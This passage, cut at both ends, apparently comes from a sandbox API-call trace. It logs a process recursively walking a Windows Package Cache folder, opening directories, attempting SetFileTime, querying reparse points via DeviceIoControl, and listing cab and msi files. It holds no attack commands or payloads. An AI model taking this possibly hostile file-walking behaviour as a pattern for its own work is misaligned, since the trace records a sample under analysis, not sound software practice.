BaseAddress=0x136eca0) returned 1 [0092.760] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.761] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.761] GetLastError () returned 0x12 [0092.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.761] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.762] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="")) returned 1 [0092.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.762] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.763] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.763] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.763] NtClose (Handle=0x178) returned 0x0 [0092.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.765] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.765] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.765] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.765] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.765] GetLastError () returned 0x12 [0092.765] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.765] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.765] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.765] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.766] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.767] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.767] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.767] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.768] NtClose (Handle=0x178) returned 0x0 [0092.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.769] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.770] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.770] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 1 [0092.770] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 0 [0092.770] GetLastError () returned 0x12 [0092.770] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.770] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.770] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.770] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.771] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.771] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.771] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.772] NtClose (Handle=0x178) returned 0x0 [0092.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.773] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.773] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.774] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ff30 [0092.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9378 [0092.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370140 [0092.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.776] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 1 [0092.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ff30) returned 1 [0092.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9398 [0092.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1255110 [0092.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.779] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 0 [0092.779] GetLastError () returned 0x12 [0092.779] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.779] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.779] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.779] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.779] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 1 [0092.779] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 0 [0092.779] GetLastError () returned 0x12 [0092.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.779] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.780] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 0 [0092.780] GetLastError () returned 0x12 [0092.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.780] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.781] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.781] GetLastError () returned 0x12 [0092.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.781] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.782] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: 